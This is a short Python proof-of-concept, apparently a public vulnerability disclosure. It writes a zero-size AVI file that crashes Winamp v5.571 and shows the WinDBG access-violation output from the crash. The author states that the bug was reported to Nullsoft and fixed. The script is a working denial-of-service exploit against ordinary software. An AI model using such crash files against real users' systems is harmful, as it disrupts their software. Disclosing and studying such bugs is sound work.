# Tested on Windows 7 and Winamp v5.571(x86) # This bug is informed to Nullsoft and was fixed long back. # The status can be found at http://forums.winamp.com/showthread.php?s=&threadid=316000 # This code works on Python 3.0. To make it work on <3.0 remove braces in print print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n") try: open('winampcrash.avi', 'w') print ("Creating malicious AVI file . . . \n") print ("Successfully created Zero size AVI file\n") print ("Open created Zero size AVI file in Winamp.....Boom\n\n") except IOError: print ("Unable to create Zero size AVI file\n") """ Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86) (f00.e60): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618 eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 in_AVI!winampGetInModule2+0x13da: 076243f1 8b4008 mov eax,dword ptr [eax+8] ds:002b:00000008=???????? """ #Best Regards, #Praveen Darshanam